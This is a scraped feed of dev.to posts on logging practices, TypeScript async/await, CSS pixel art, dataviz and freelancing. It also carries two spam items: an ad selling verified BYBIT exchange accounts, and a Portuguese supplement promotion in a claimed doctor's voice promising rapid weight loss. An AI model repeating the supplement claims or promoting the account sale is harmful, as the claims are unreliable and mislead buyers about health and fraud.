* **Improved Security Posture:** Image scanning, secure registry access, and secure CI/CD environments mitigate security risks.
* **Global Reach and Performance:** Image replication and multi-region deployments ensure low latency for a global user base.
**Key Takeaways:**
This advanced use case demonstrates how ECR, when combined with other AWS services, forms the backbone of a powerful and secure CI/CD pipeline. This approach empowers organizations to build and deliver highly resilient, scalable, and secure applications in today's demanding cloud environment.
| virajlakshitha | |
1,881,729 | Logging Done Right | Writing effective log messages is crucial for the overall observability of your application. In this... | 0 | 2024-06-09T02:51:30 | https://dev.to/markadel/logging-done-right-1nnm | programming, tutorial, backend, softwareengineering | Writing effective log messages is crucial for the overall observability of your application. In this guide, we are going to focus mainly on what to log, and how to write effective log messages.
The code examples are written in JavaScript for its simple syntax, but these guidelines are applicable to any programming language.
Let's get started!
## 1. All log messages should start with the class and function name
```javascript
logger.info('[MyClass.myFunction] The log message');
```
**Reason**: Quickly identifying where the log message comes from. It also adds uniqueness to the logs, ensuring that logs are not duplicated.
## 2. Add logs in all exception handling blocks
```javascript
try {
// code that might throw an error
} catch (error) {
logger.error('[OrderService.placeOrder] Order placement failed: ' + error.message);
}
```
**Reason**: Very crucial for troubleshooting.
## 3. Include context if useful
```javascript
logger.warn('[PaymentGateway.processPayment] Payment failed for UserID: 123, OrderID: 456, Error: Insufficient funds');
```
**Reason**: Context helps you understand the conditions under which the log was generated, aiding in replicating and fixing issues.
## 4. Add logs for auditing
```javascript
logger.info('[OrderService.placeOrder] Order ID: 12345 placed successfully');
```
**Reason**: Audit logs have many benefits, such as reconstructing the timeline of a system outage or a security breach, and also being able to detect them while happening.
## 5. Don't include large log messages if not necessary
**Bad:**
```javascript
logger.info('[SomeOrdersJob.processOrders] Finished processing orders chunk, index: ' + chunkIndex + 'orders: ' + JSON.stringify(orders));
```
**Good:**
```javascript
logger.info('[SomeOrdersJob.processOrders] Finished processing orders chunk, index: ' + chunkIndex + 'orders length: ' + orders.length);
```
**Reason**: Large log messages reduce readability, consume more space, and might introduce performance implications.
## 6. Don't log sensitive data
**Bad, too bad:**
```javascript
logger.warn('[AuthService.login] User login attempt failed, login data: ' + JSON.stringify(loginData));
```
```javascript
logger.warn('[PaymentGateway.registerPaymentCard] Card registration failed, card data: ' + JSON.stringify(cardData));
```
**Good:**
```javascript
logger.warn('[AuthService.login] User login attempt failed, username: ' + loginData.username);
```
**Reason**: Logging sensitive data can create security risks and violate privacy regulations such as GDPR. **Always sanitize data before logging.** It's very likely to overlook sanitizing your data when logging HTTP requests and responses, for example.
## 7. Use the correct log level
```javascript
logger.debug('[OrderService.placeOrder] Inside placeOrder function');
logger.info('[OrderService.placeOrder] Order ID: 12345 placed successfully');
logger.warn('[AuthService.login] User login attempt failed, username: ' + loginData.username);
logger.error('[OrderService.placeOrder] Order placement failed: ' + error.message);
logger.fatal('[Database.connect] Unable to connect to the database: ' + error.message);
```
**Reason**: Using log levels has many benefits, such as filtering logs based on their level, taking specific actions such as sending an alert for high-severity logs.
## 8. Timestamp your logs
```javascript
logger.info('[2024-06-08T12:00:00Z] [OrderService.placeOrder] Order ID: 12345 placed successfully');
```
**Reason**: Timestamps provide a chronological order to logs, making it easier to track and understand the sequence of actions. They also allow you to troubleshoot issues that happened at specific times.
## 9. Avoid logging in loops or recursive functions if not necessary
**Bad:**
```javascript
for (let i = 0; i < items.length; i++) {
logger.info('[InvoiceCalculator.calculate] Calculating item: ' + i);
// calculation logic
}
```
**Good:**
```javascript
logger.info('[InvoiceCalculator.calculate] Calculation started');
for (let i = 0; i < items.length; i++) {
// calculation logic
}
logger.info('[InvoiceCalculator.calculate] Calculation finished');
```
**Reason**: Excessive log entries make it harder to find relevant information, consume more space, and can lead to performance issues.
## 10. Log the start and end of long-running operations
```javascript
logger.info('[DataImportService.importData] Data import started');
// long-running operation
logger.info('[DataImportService.importData] Data import completed');
```
**Reason**: It helps you monitor the progress and duration of these operations.
## 11. Ensure log messages are concise and clear
**Bad:**
```javascript
logger.info('[OrderService.placeOrder] The order placement function has successfully completed processing the order with ID 12345');
```
**Good:**
```javascript
logger.info('[OrderService.placeOrder] Order ID: 12345 placed successfully');
```
**Reason**: Concise and clear log messages are easier to read and understand.
## Conclusion
I hope you found this guide helpful. Please feel free to suggest other practices that you think are important, and I will be happy to include them.
## References and Further Reading
- https://www.dataset.com/blog/the-10-commandments-of-logging/
- https://medium.com/@squarecog/logging-101-d74ff92f8c91
- https://www.datadoghq.com/knowledge-center/audit-logging/ | markadel |
1,881,722 | Buy verified BYBIT account | https://dmhelpshop.com/product/buy-verified-bybit-account/ Buy verified BYBIT account In the... | 0 | 2024-06-09T02:41:07 | https://dev.to/haxgaradia683/buy-verified-bybit-account-419h | javascript, webdev, beginners, programming | https://dmhelpshop.com/product/buy-verified-bybit-account/
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1,881,721 | Mastering Async/Await in TypeScript: A Comprehensive Guide | Asynchronous programming is a fundamental aspect of modern JavaScript development, and TypeScript,... | 0 | 2024-06-09T02:39:56 | https://dev.to/hasancse/mastering-asyncawait-in-typescript-a-comprehensive-guide-22kf | typescript, webdev, programming, tutorial | Asynchronous programming is a fundamental aspect of modern JavaScript development, and TypeScript, with its static typing, makes handling asynchronous code even more robust and manageable. This blog post will delve into the use of async and await in TypeScript, explaining their significance, providing practical examples, and highlighting best practices.
## Table of Contents
1. Introduction to Asynchronous Programming
2. Understanding Promises
3. Introduction to Async/Await
4. Using Async/Await in TypeScript
5. Error Handling in Async/Await
6. Best Practices for Async/Await
7. Conclusion
## 1. Introduction to Asynchronous Programming
Asynchronous programming allows a program to perform tasks concurrently without blocking the main execution thread. This is crucial for tasks like network requests, file I/O operations, and timers, which can take an indeterminate amount of time to complete.
## 2. Understanding Promises
Before diving into async and await, it's essential to understand Promises, which represent the eventual completion (or failure) of an asynchronous operation and its resulting value.
```
const promise = new Promise<string>((resolve, reject) => {
setTimeout(() => {
resolve("Hello, world!");
}, 1000);
});
promise.then((value) => {
console.log(value); // "Hello, world!" after 1 second
}).catch((error) => {
console.error(error);
});
```
## 3. Introduction to Async/Await
Async/await is syntactic sugar built on top of Promises, introduced in ES2017 (ES8). It allows writing asynchronous code that looks and behaves more like synchronous code, improving readability and maintainability.
## 4. Using Async/Await in TypeScript
Let's see how to use async and await in TypeScript.
Basic Example
```
function delay(ms: number) {
return new Promise(resolve => setTimeout(resolve, ms));
}
async function greet() {
await delay(1000);
return "Hello, world!";
}
async function main() {
const message = await greet();
console.log(message); // "Hello, world!" after 1 second
}
main();
```
In this example, the greet function is marked as async, which means it returns a Promise. Inside this function, the await keyword pauses the execution until the Promise returned by delay resolves.
**Working with API Calls**
Here's a more practical example involving an API call.
```
interface User {
id: number;
name: string;
username: string;
email: string;
}
async function fetchUser(userId: number): Promise<User> {
const response = await fetch(`https://jsonplaceholder.typicode.com/users/${userId}`);
if (!response.ok) {
throw new Error('Network response was not ok');
}
const user: User = await response.json();
return user;
}
async function displayUser(userId: number) {
try {
const user = await fetchUser(userId);
console.log(`User: ${user.name}`);
} catch (error) {
console.error('Error fetching user:', error);
}
}
displayUser(1);
```
In this code:
1. fetchUser is an asynchronous function that fetches user data from an API and returns a Promise of a User object.
2. displayUser calls fetchUser and handles potential errors using a try/catch block.
## 5. Error Handling in Async/Await
Handling errors in async/await can be done using try/catch blocks.
```
async function riskyOperation() {
throw new Error("Something went wrong!");
}
async function main() {
try {
await riskyOperation();
} catch (error) {
console.error("Caught an error:", error);
}
}
main();
```
This pattern makes error handling more straightforward compared to traditional Promise chaining with .then() and .catch().
## 6. Best Practices for Async/Await
- Always Use try/catch: Always wrap your await calls in a try/catch block to handle errors gracefully.
- Avoid Blocking the Event Loop: Be mindful of using await in a loop. Consider using Promise.all for concurrent operations.
```
async function fetchMultipleUsers(userIds: number[]) {
const userPromises = userIds.map(id => fetchUser(id));
const users = await Promise.all(userPromises);
return users;
}
```
- Use Type Annotations: Explicitly annotate return types of asynchronous functions for better type safety and readability.
```
async function fetchUser(userId: number): Promise<User> {
// Implementation
}
```
- Keep Functions Small and Focused: Break down large functions into smaller, single-responsibility asynchronous functions.
## 7. Conclusion
Async/await in TypeScript makes handling asynchronous operations more intuitive and less error-prone. By leveraging TypeScript's static typing, you can catch potential issues at compile time, leading to more robust and maintainable code.
Incorporate the best practices mentioned above, and you'll be well on your way to mastering asynchronous programming in TypeScript. Happy coding!
| hasancse |
1,881,656 | Frontend Challenge: Pride Month Pure CSS Pixel Art | This is a submission for Frontend Challenge v24.04.17, CSS Art: June. Inspiration I've... | 0 | 2024-06-09T02:33:18 | https://dev.to/vivitt/frontend-challenge-pride-month-pure-css-pixel-art-213i | frontendchallenge, devchallenge, css | _This is a submission for [Frontend Challenge v24.04.17](https://dev.to/challenges/frontend-2024-05-29), CSS Art: June._
## Inspiration
<!-- What are you highlighting today? -->
I've been living in the northern hemisphere for almost ten years now. Although I still find it hard to get used to having summer during the southern winter months...
So, I've decided not to focus on seasons and instead use this challenge to create a Pride flag to celebrate and advocate for Pride month.
## Demo
This is the result:
{% codepen https://codepen.io/vivitt/pen/BaedJRK %}
You can also see [the code in GitHub](https://github.com/vivitt/pure-css/blob/main/README.md), or view an [online demo here](https://vivitt.github.io/pure-css/).
## Journey
I've been looking for a chance to experiment with some pixel art CSS drawing, so this challenge turned out to be a great opportunity.
I came across [this amazing blog post](https://css-tricks.com/fun-times-css-pixel-art/) by Geoff Graham, where I learned about different ways of drawing pixel art with CSS.
I decided to use the **box-shadow** technique because it seemed to allow me to make quick progress without much setup and also gave me the possibility to animate my illustration.
This technique involves creating a container that serves as the base for the drawing. You can think of this element as a grid, where you will be placing 'pixels' to create the design.
Before starting to draw, we need to define the measurement of the pixel unit in the illustration. I used an 8px by 8px square.
Next, let's set the width and height of the container element, keeping in mind that these values must represent the maximum area the drawing will take. hey must also be multiples of the measurement we are using for the pixel unit.
```
.flag__container {
width: 320px;
height: 320px;
}
```
The combination of the container width and height with the pixel size will define the definiton of the image. You can create more or less detailed illustrations by changing those values.
Now that we have set a width and height in the element container, we can place a new div element inside it, with the chosen dimensions to represent a pixel unit in the drawing.
```
.flag__pixels {
height: 8px;
width: 8px;
}
```
The next step is to start drawing. The illustration is created by adding the box-shadow property, "pixel by pixel", as needed:
```
.flag__pixels {
height: 8px;
width: 8px;
box-shadow:
0px 8px rgb(226, 226, 226),
/* many pixels here... */
```
Once you are ready, you can create keyframes to animate the `box-shadow` property as needed. Pretty cool!
```
.flag__pixels {
height: 8px;
width: 8px;
box-shadow:
0px 8px rgb(226, 226, 226),
/* many more pixels here... */
animation: flag 3s infinite;
}
@keyframes flag {
0% {
box-shadow:
0px 8px rgb(226, 226, 226),
/* many more pixels here... */
}
50% {
0px 16px rgb(226, 226, 226),
/* many more pixels here... */
}
}
```
I find Dev Challenges are great opportunities to push myself to try out ideas I have in mind and learn about new things. There's nothing like deadlines :D
I had a lot of fun drawing and I'm sure I will keep creating more pixel art illustrations.
Thanks for checking out my work and reading! | vivitt |
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🔍 In this tutorial, you'll learn:
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🎥 Key Features:
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🔗 Watch the full tutorial here: (https://lnkd.in/dVXBuyTT)
Don't forget to like, share, and subscribe for more tutorials! If you have any questions or need further clarification, feel free to leave a comment below. Your feedback is always appreciated!
#WebDevelopment #JavaScript #Coding #TechTutorial #WebcamCapture #VideoRecording #HTML5 #MediaRecorder #LearnToCode #TechSkills #Programming | manojkadam8 |
1,881,717 | Smooth Scroll | Conventional way const hoge = hoge.getBoundingClientRect(); window.scrollTo({ left : hoge.left... | 0 | 2024-06-09T02:27:18 | https://dev.to/kakimaru/smooth-scroll-oil | Conventional way
```
const hoge = hoge.getBoundingClientRect();
window.scrollTo({
left : hoge.left + window.pageXOffset,
top: hoge.top + window.pageYOffset,
behavior: 'smooth',
})
```
Recently way
```
hoge.scrollIntoView({behavior: "smooth"})
```
Viewport version
```
document.documentElement.clientHeight
``` | kakimaru | |
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Development allows me to realize my dreams.
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Developers are creators and artists. | white_snow_b070f35998e724 | |
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Make informed decisions to safeguard your financial assets and streamline your personal transactions effectively.\n\nContact Us / 24 Hours Reply\nTelegram:dmhelpshop\nWhatsApp: +1 (980) 277-2786\nSkype:dmhelpshop\nEmail:dmhelpshop@gmail.com\n\n" | haxgaradia683 |
1,881,592 | 🌌 Dataviz of the architecture of a speech w/ Nocodefunctions & Gephi(sto) | ❔ About Yesterday, June 8, 2024, Louis Mapou, the President of the Government of New... | 27,429 | 2024-06-09T02:24:17 | https://dev.to/adriens/dataviz-of-the-architecture-of-a-speech-w-nocodefunctions-gephisto-4om8 | datascience, dataviz, nocode, ai | ## ❔ About
Yesterday, June 8, 2024, [Louis Mapou](https://en.wikipedia.org/wiki/Louis_Mapou), the President of the Government of New Caledonia, delivered a [solemn televised address](https://la1ere.francetvinfo.fr/nouvellecaledonie/crise-en-nouvelle-caledonie-suivez-en-direct-la-declaration-solennelle-de-louis-mapou-president-du-gouvernement-1494992.html):
{% youtube hBSo1Nq5aqQ %}
## 🎯 What we'll do
In this blog post, you'll see an **-almost- `nocode` (and open source)** way to :
1. **Extract the `mp3`** from a given youtube video with `yt-dlp/yt-dlp`
2. **Extract the text from `mp3`** with `openai/whisper`
3. **Transform the text into a Knowledge graph** with [🔎 Nocode functions](https://nocodefunctions.com/), and get the `gexf` file
4. **Produce datavisualisations** with [Gephisto](https://jacomyma.github.io/gephisto/)
5. **Load `gexf`** file into [Gephi](https://gephi.org/) and produce some dataviz by ourselves
## 🍿 Demo
{% youtube m24Kzk-kat4 %}
## 🔖 Resources
- [Jupyter Notebook](https://www.kaggle.com/code/adriensales/declaration-solennelle-du-2024-06-08-louis-mapou)
{% embed https://github.com/adriens/declaration-solennelle-louis-mapou-2024-06-08-data %}
## 🖼️ Dataviz
| adriens |
1,881,704 | Inibitrol Emagrece mesmo? Funciona de Verdade? ⛔️Alerta Médica antes de Comprar | ` Introdução Oi querida, como você está? Como médica, estou sempre procurando os melhores remédios... | 0 | 2024-06-09T02:14:36 | https://dev.to/inibitrol_emagrece/inibitrol-emagrece-mesmo-funciona-de-verdade-alerta-medica-antes-de-comprar-467f | `<h2 id="introdu-o">Introdução</h2>
<p>Oi querida, como você está? Como médica, estou sempre procurando os melhores remédios para ajudar minhas pacientes a alcançarem o máximo de saúde e bem-estar. Hoje, estou muito animada para falar sobre o Inibitrol, um suplemento dietético, inovador que pode transformar vidas, especialmente para quem está lutando contra o excesso de peso ou obesidade e procura uma forma eficaz de emagrecer. Vamos dar uma olhada detalhada no Inibitrol, explorar seus benefícios, ingredientes, como ele funciona e por que acredito que ele pode ser uma ferramenta valiosa na sua jornada de perda de peso.</p>
[✅Economize até 60% no Inibitrol! Clique aqui e aproveite o código de desconto aplicado ao produto no site oficial e parcele em até 12x! Veja mais ⏩️⏩️](https://shor.by/inibitrol-site-oficial-promocao-com-desconto)
<h2 id="o-que-o-inibitrol-">O que é o Inibitrol?</h2>
<p>O Inibitrol é um suplemento dietético de ponta, desenvolvido com base em extensas pesquisas científicas. Sua fórmula exclusiva combina nutrientes essenciais e compostos bioativos para promover saúde e bem-estar geral. Posso te garantir que o Inibitrol é uma ótima escolha para quem quer melhorar a qualidade de vida de forma natural e eficaz, especialmente no que diz respeito à perda de peso.</p>
<h2 id="como-o-inibitrol-funciona-">Como o Inibitrol Funciona?</h2>
<h3 id="mecanismo-de-a-o">Mecanismo de Ação</h3>
<p>O Inibitrol atua em várias frentes para otimizar o desempenho do seu corpo. Seus ingredientes cuidadosamente escolhidos trabalham juntos para:</p>
<ul>
<li><strong>Fortalecer o sistema imunológico:</strong> O Inibitrol contém antioxidantes poderosos e nutrientes que ajudam seu corpo a combater infecções e doenças de maneira mais eficaz.</li>
<li><strong>Aumentar os níveis de energia:</strong> Ao fornecer nutrientes essenciais, o Inibitrol apoia os processos metabólicos que aumentam a produção de energia, reduzindo a fadiga e melhorando sua vitalidade.</li>
<li><strong>Promover a saúde digestiva:</strong> O suplemento inclui enzimas digestivas e probióticos que ajudam na absorção de nutrientes e mantêm um microbioma intestinal saudável.</li>
<li><strong>Ajudar na perda de peso:</strong> A combinação única de ingredientes do Inibitrol ajuda a regular o metabolismo, reduzir a absorção de gordura e controlar o apetite, facilitando a perda de peso sustentável.</li>
</ul>
[✅Economize até 60% no Inibitrol! Clique aqui e aproveite o código de desconto aplicado ao produto no site oficial e parcele em até 12x! Veja mais ⏩️⏩️](https://shor.by/inibitrol-site-oficial-promocao-com-desconto)
<p>Ao fornecer nutrientes essenciais e estimular processos físicos benéficos, o Inibitrol cria um ambiente interno favorável à saúde e bem-estar, o que é fundamental para quem quer emagrecer.</p>
<h2 id="ingredientes-do-inibitrol">Ingredientes do Inibitrol</h2>
<h3 id="composi-o-de-alta-qualidade">Composição de Alta Qualidade</h3>
<p>Uma das características mais impressionantes do suplemento é a qualidade dos ingredientes do Inibitrol. Cada componente é cuidadosamente escolhido com base em evidências científicas sólidas. Os ingredientes principais incluem:</p>
<ul>
<li><strong>Vitaminas e Minerais Essenciais:</strong> Cruciais para várias funções corporais, incluindo produção de energia, resposta imunológica e manutenção da saúde da pele, ossos e músculos.</li>
<li><strong>Antioxidantes Potentes:</strong> Ingredientes como Vitamina C, Vitamina E e extratos de plantas combatem o estresse oxidativo e reduzem a inflamação, protegendo as células contra danos.</li>
<li><strong>Aminoácidos Essenciais:</strong> São os blocos de construção das proteínas e desempenham um papel crucial na reparação muscular, função imunológica e saúde metabólica geral.</li>
<li><strong>Extratos de Plantas Medicinais:</strong> Extratos naturais como chá verde, cúrcuma e ginseng oferecem benefícios adicionais à saúde, incluindo propriedades anti-inflamatórias e estímulo ao metabolismo.</li>
</ul>
<p>Essa combinação única de ingredientes naturais e eficazes diferencia o Inibitrol de outros suplementos no mercado.</p>
[✅Economize até 60% no Inibitrol! Clique aqui e aproveite o código de desconto aplicado ao produto no site oficial e parcele em até 12x! Veja mais ⏩️⏩️](https://shor.by/inibitrol-site-oficial-promocao-com-desconto)
<h2 id="benef-cios-do-inibitrol">Benefícios do Inibitrol</h2>
<h3 id="melhoria-da-sa-de-e-bem-estar">Melhoria da Saúde e Bem-Estar</h3>
<p>Com base na minha experiência profissional e em inúmeros relatos de pacientes, posso te garantir que o Inibitrol funciona e oferece uma ampla gama de benefícios à saúde, incluindo:</p>
<ul>
<li><strong>Fortalecimento do Sistema Imunológico:</strong> O uso regular do Inibitrol ajuda a aumentar as defesas naturais do corpo, tornando-o mais resistente a infecções e doenças.</li>
<li><strong>Aumento de Energia e Vitalidade:</strong> As usuárias frequentemente relatam sentir-se mais energizadas e menos cansadas, graças à capacidade do suplemento de aumentar a eficiência metabólica.</li>
<li><strong>Melhora na Saúde Digestiva:</strong> A adição de enzimas digestivas e probióticos apoia a saúde intestinal, resultando em melhor absorção de nutrientes e maior conforto digestivo.</li>
<li><strong>Perda de Peso Saudável:</strong> O Inibitrol ajuda a controlar o apetite, aumentar o metabolismo e reduzir a absorção de gordura, promovendo uma perda de peso saudável e sustentável.</li>
<li><strong>Promoção da Saúde Cardiovascular:</strong> Ingredientes como ácidos graxos ômega-3 e antioxidantes apoiam a saúde do coração, reduzindo a inflamação e melhorando os perfis lipídicos.</li>
<li><strong>Suporte à Função Cognitiva:</strong> Nutrientes que melhoram a função cerebral podem aumentar o foco, a memória e a clareza mental geral.</li>
</ul>
<p>Esses benefícios se traduzem em uma qualidade de vida melhorada, permitindo que você desfrute de uma saúde otimizada e bem-estar.</p>
[✅Economize até 60% no Inibitrol! Clique aqui e aproveite o código de desconto aplicado ao produto no site oficial e parcele em até 12x! Veja mais ⏩️⏩️](https://shor.by/inibitrol-site-oficial-promocao-com-desconto)
<h2 id="inibitrol-e-a-perda-de-peso">Inibitrol e a Perda de Peso</h2>
<h3 id="ele-realmente-ajuda-na-perda-de-peso-">Ele Realmente Ajuda na Perda de Peso?</h3>
<p>Um dos aspectos mais procurados do Inibitrol é seu potencial para ajudar na perda de peso. Como médica, posso te garantir que o Inibitrol pode ser um aliado valioso para quem deseja emagrecer de forma saudável. Sua fórmula única atua na regulação do metabolismo, redução da absorção de gordura e controle do apetite, favorecendo a perda de peso sustentável.</p>
<h3 id="depoimentos-de-usu-rias-e-resultados-reais">Depoimentos de Usuárias e Resultados Reais</h3>
<p>Os depoimentos de usuárias são uma prova poderosa da eficácia do Inibitrol. Muitas pessoas relatam uma perda de peso significativa, variando de 5 a 10 quilos dentro de algumas semanas de uso, quando combinado com uma dieta equilibrada e exercícios regulares. Esses resultados são confirmados por fotos de antes e depois impressionantes, demonstrando a transformação física facilitada pelo Inibitrol.</p>
<h2 id="como-usar-o-inibitrol">Como Usar o Inibitrol</h2>
<h3 id="dosagem-recomendada">Dosagem Recomendada</h3>
<p>A dosagem recomendada do Inibitrol é de 2 cápsulas por dia, de preferência com as refeições. É importante seguir as instruções de uso e não exceder a dose diária recomendada. Para resultados aprimorados, o uso contínuo por pelo menos três meses é incentivado.</p>
<h3 id="precau-es-e-contraindica-es">Precauções e Contraindicações</h3>
<p>O Inibitrol é um suplemento seguro e bem tolerado pela maioria das pessoas. No entanto, sempre recomendo consultar um profissional de saúde antes de iniciar qualquer novo suplemento, especialmente nos seguintes casos:</p>
<ul>
<li><strong>Grávidas e Lactantes:</strong> É importante garantir a segurança do suplemento durante esses períodos delicados.</li>
<li><strong>Indivíduos com Condições Médicas Preexistentes:</strong> Consultar um médico ajuda a evitar possíveis interações com tratamentos existentes.</li>
<li><strong>Pessoas em Uso de Medicamentos:</strong> Certos ingredientes podem interagir com medicamentos prescritos, portanto, a orientação profissional é crucial.</li>
</ul>
<p>Embora os efeitos colaterais sejam raros, é essencial estar atenta a qualquer reação incomum e interromper o uso se necessário.</p>
<h2 id="onde-comprar-o-inibitrol">Onde Comprar o Inibitrol</h2>
<h3 id="disponibilidade-e-promo-es">Disponibilidade e Promoções</h3>
<p>O Inibitrol está disponível para compra em várias plataformas online confiáveis, como Mercado Livre, Magazine Luiza, Lojas Americanas, Submarino, Shopee e Amazon. Comprar o produto nessas lojas garante a autenticidade e a qualidade do Inibitrol.</p>
<p>Além disso, você pode aproveitar promoções especiais e descontos exclusivos ao comprar o Inibitrol online. Essas ofertas tornam o suplemento ainda mais acessível para quem deseja investir na sua saúde e bem-estar.</p>
<h2 id="conclus-o">Conclusão</h2>
<p>Baseada na minha experiência como médica e nas evidências científicas disponíveis, posso afirmar com confiança que o Inibitrol é um suplemento dietético extraordinário. Sua fórmula inovadora, combinada com ingredientes de alta qualidade, oferece benefícios abrangentes para a saúde e o bem-estar.</p>
<p>Se você está procurando um aliado confiável para melhorar sua qualidade de vida, o Inibitrol é a escolha ideal. Recomendo fortemente experimentar este suplemento revolucionário e descobrir por si mesma o poder transformador do Inibitrol.</p>
[✅Economize até 60% no Inibitrol! Clique aqui e aproveite o código de desconto aplicado ao produto no site oficial e parcele em até 12x! Veja mais ⏩️⏩️](https://shor.by/inibitrol-site-oficial-promocao-com-desconto)
<p>Sempre priorize sua saúde e consulte um profissional de saúde antes de iniciar qualquer novo suplemento. Com o Inibitrol, você estará no caminho certo para uma vida mais saudável, energética e plena.</p>
([https://storymaps.arcgis.com/stories/334ba12964b94c0fbb76c282b1b825b5](https://storymaps.arcgis.com/stories/334ba12964b94c0fbb76c282b1b825b5))
[http://participa.br/inibitrol-emagrece-mesmo/blog/%EF%B8%8Finibitrol-emagrece-mesmo-%EF%B8%8F-alerta-antes-de-comprar-pela-nutricionista-joana](http://participa.br/inibitrol-emagrece-mesmo/blog/%EF%B8%8Finibitrol-emagrece-mesmo-%EF%B8%8F-alerta-antes-de-comprar-pela-nutricionista-joana)
[https://linktr.ee/inibitrol_funciona_emagrece](https://linktr.ee/inibitrol_funciona_emagrece)
[https://respostas.sebrae.com.br/profile/inibitrol-ajuda-emagrecer-mesmo/](https://respostas.sebrae.com.br/profile/inibitrol-ajuda-emagrecer-mesmo/)
[https://community.databricks.com/t5/khoros-community-forums-support/inibitrol-emagrece-mesmo-funciona-de-verdade-%EF%B8%8F-alerta-m%C3%A9dica/m-p/72153#M84](https://community.databricks.com/t5/khoros-community-forums-support/inibitrol-emagrece-mesmo-funciona-de-verdade-%EF%B8%8F-alerta-m%C3%A9dica/m-p/72153#M84)
[https://inibitrol-emagrece-e-funciona-mesmo-ale.webflow.io/](https://inibitrol-emagrece-e-funciona-mesmo-ale.webflow.io/)
` | inibitrol_emagrece | |
1,881,703 | Análise dos reservatórios federais - parte 1 | Este projeto tem como principal razão fazer uma visão exploratória das reservas federais utilizadas... | 0 | 2024-06-09T02:12:16 | https://dev.to/devsnorte/analise-das-reservas-federais-parte-1-2j6f | reservatorios, analyst, map | Este projeto tem como principal razão fazer uma visão exploratória das reservas federais utilizadas para mover as turbinas das hidrelétricas do país, o ponto também é fazer associações com outras variáveis, como produção de energia elétrica e dados meteorológicas para trazer uma análise mais completa
## Objetivos e formulação de hipóteses
Nesse primeiro encontro foram definidos os objetivos, formulação de hipóteses e uma análise inicial acerca das variáveis presentes no dataset
O objetivo desta análise é:
- Fazer uma análise da vazão dos reservatórios e verificar se houve um aumento ou uma diminuição ao longo do tempo
- Fazer relação com dados de meteorologia e dados de geração de energia elétrica nas hidrelétricas
Com base nos objetivos descritos acima, foram formulados as seguintes hipóteses:
- Houve uma diminuição nos reservatórios brasileiros (com base da notícia abaixo)
[Brasil perde 15% de superfície de água desde o começo dos anos 1990](https://www.cnnbrasil.com.br/nacional/brasil-perde-15-de-superficie-de-agua-desde-o-comeco-dos-anos-1990/)
- Há uma relação entre índices meteorológicos e vazão de água
- Há uma relação da vazão de água com a produção de energia nas hidrelétricas
## Sobre o base de dados a ser utilizada
O objetivo do dataset é usar os dados dos reservatórios federais da ANA (Agência Nacional de Águas e Saneamento Básico) de sua série histórica, mas não tem na base dos dados informações da bacia e geração de energia elétrica, logo, terá que ser utilizada outras bases de dados para fazer o cruzamento das informações.
Então foi usado outro dataset onde teria esses dados, mas não informações de que Estado estava localizado o reservatório, foi então que se usou a base do dados do pacote R dai cruzando essas informações
[GitHub - brunomioto/reservatoriosBR: R package for Brazilian reservoirs data](https://github.com/brunomioto/reservatoriosBR)
[Avaliação da Operação do Sistema Interligado Nacional (SIN) e outros subsistemas – Base dos Dados](https://basedosdados.org/dataset/fcb40f26-0d15-463f-b5fe-e69d5f0affe1?table=ab8e842f-af0a-452e-8e35-d5270395dd6c)
Com isso agora se tem informações desejáveis sobre os reservatórios federais e usaremos essa base para fazemos a análise antes de usar para cruzar com a série histórica da ANA
## Análise inicial
Em relação entre os Estados, verifica-se que os Estados que tem mais reservatório são Minas Gerais e São Paulo, podemos ver que RS tem quase 15 reservatórios e muitos podem ter sido danificados com a recente tragédia no Estado, podemos verificar a partir disso verificar se por ter mais reservatórios, os Estados de SP e MG tem uma produção de energia elétrica comparado com outros Estados
Em relação ao ano de fundação dos reservatórios, podemos ver que tem dois picos: um durante as décadas de 70 e 80 e outra próxima próximo aos anos 2000, podemos ver qual contexto histórico e econômico da época que pode ter ocasionado isso para entender melhor essa distribuição
Em relação às bacias, a grande parte se localiza na Grande, Paranaiba, Paranapanema, Amazonas, São Francisco e Uruguai, verificar então se tem uma grande vazão por esse reservatório é maior em relação as demais
Em relação ao rio, temos que os rios que possuem mais reservatórios são o Grande, Paranapanema e o São Francisco, sendo necessário, a partir disso, verificar o mesmo que na bacia
A cota máxima e mínima é sempre próxima de 400, sendo que neste problema dos dados, não será utilizada a média como referência, devido aos valores extremos, e sim a mediana, pois é uma medida que não tão influenciada aos valores extremos, se comparado com a média
Algumas medidas-resumo de algumas das variáveis, vendo pelo desvio padrão que é a última linha, o porquê a média não ser utilizada como referência
Em questão de volume, temos que a maioria está concentrado em valores com menos de 5 mil, vendo a investigar quem são esses reservatórios que tem esses valores extremos
Em questão de ganhos de MW pela queda temos que a maioria é maior que 0,08, o que nos vai fazer investigar o porquê disso ser importante, se há um número aceitável para isso
Geramos um mapa para ver como estão a maioria concentrado em MG e em SP comparado como outros Estados no Brasil
## Questões para a próxima análise
Feito isso, podemos pensar no que analisar a partir daqui, sendo os seguintes pontos
- Os Estados onde se tem mais reservatório implica em mais produção de energia elétrica (referente as hidrelétricas)?
- O volume do reservatório influência na produção de energia elétrica?
- A altura também influencia na produção de energia elétrica?
- Pode fazer comparação da localização dos reservatórios com as estações meteorológicas
## Para saber mais
Se quiser contribuir com o projeto ou é um especialista na área e queria dá uma direção no trabalho, segue os seguintes links
- Repositório github: https://github.com/acaicomdados/analise-reservatorios-federais
- Documentação do projeto: https://flint-texture-e2f.notion.site/An-lise-de-recursos-h-dricos-6d430a9618054bc1b8cd6f213cad6e3c
- Meu linkedin: https://www.linkedin.com/in/gustavoramos82/ | gustavoramos82 |
1,881,680 | Key Tips on Freelancing as a developer | I've always wanted to start freelancing as a developer for a side business but had questions that... | 0 | 2024-06-09T02:03:26 | https://dev.to/miguel_c/key-tips-on-freelancing-3p1j | freelance, webdev, developer, development |
I've always wanted to start freelancing as a developer for a side business but had questions that needed answering before jumping into it.
I had the opportunity to speak with Brian Jenney, the owner of the bootcamp Parsity and host of the Develop Yourself podcast, who helped me address my concerns before I proceeded down this path.
I'd like to share what I've learned. These insights may work for some and not for others, and there may be differing opinions. Please feel free to comment and share your thoughts on any of these points.
## Key Takeaways:
**Understand Client Goals**
Ask the client about the goal of the site.
**Set a Minimum Price**
Establish a minimum price of $500.
**Maintenance Plan**
If you build a website from scratch, offer the first month of maintenance for free, and then charge $100 monthly thereafter. If maintenance becomes too demanding, inform the client that you can no longer continue. Also, pitch that you can fix any bugs within 24 hours.
**Charge for Extras**
Charge extra for tasks outside of coding, such as writing content or gathering images.
**Milestone Payments**
Typically, you will be paid by milestones. For a website build, milestones cover the entire project from start to finish. For existing codebases, milestones can differ based on the specific tasks.
**Client Communication**
